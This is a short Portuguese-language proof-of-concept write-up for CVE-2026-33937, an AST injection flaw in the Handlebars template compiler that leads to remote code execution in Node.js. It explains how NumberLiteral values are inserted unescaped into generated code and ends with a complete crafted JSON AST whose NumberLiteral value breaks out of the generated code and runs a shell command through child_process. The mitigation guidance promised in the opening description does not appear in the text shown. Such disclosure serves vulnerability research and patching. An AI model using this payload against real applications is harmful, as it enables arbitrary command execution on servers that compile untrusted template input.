
Prova de conceito de exploit para CVE-2026-33937, uma vulnerabilidade de injeção de AST no Handlebars que leva à execução remota de código no Node.js. Demonstra payloads de AST elaborados e fornece orientações de mitigação.
A CVE-2026-33937 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Handlebars causada pelo tratamento inseguro de entrada de Árvore Sintática Abstrata (AST).
A vulnerabilidade permite que atacantes injetem código JavaScript arbitrário ao fornecer um objeto AST manipulado para Handlebars.compile().
Handlebars.compile() aceita ambos:
Quando um objeto AST é fornecido, a fase de análise é ignorada.
Dentro de:
lib/handlebars/compiler/javascript-compiler.js
A função:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
insere diretamente number.value no código JavaScript gerado , levando à injeção de código.
Atacante → AST Manipulado (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (injeção de NumberLiteral)
│
▼
Geração de código
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}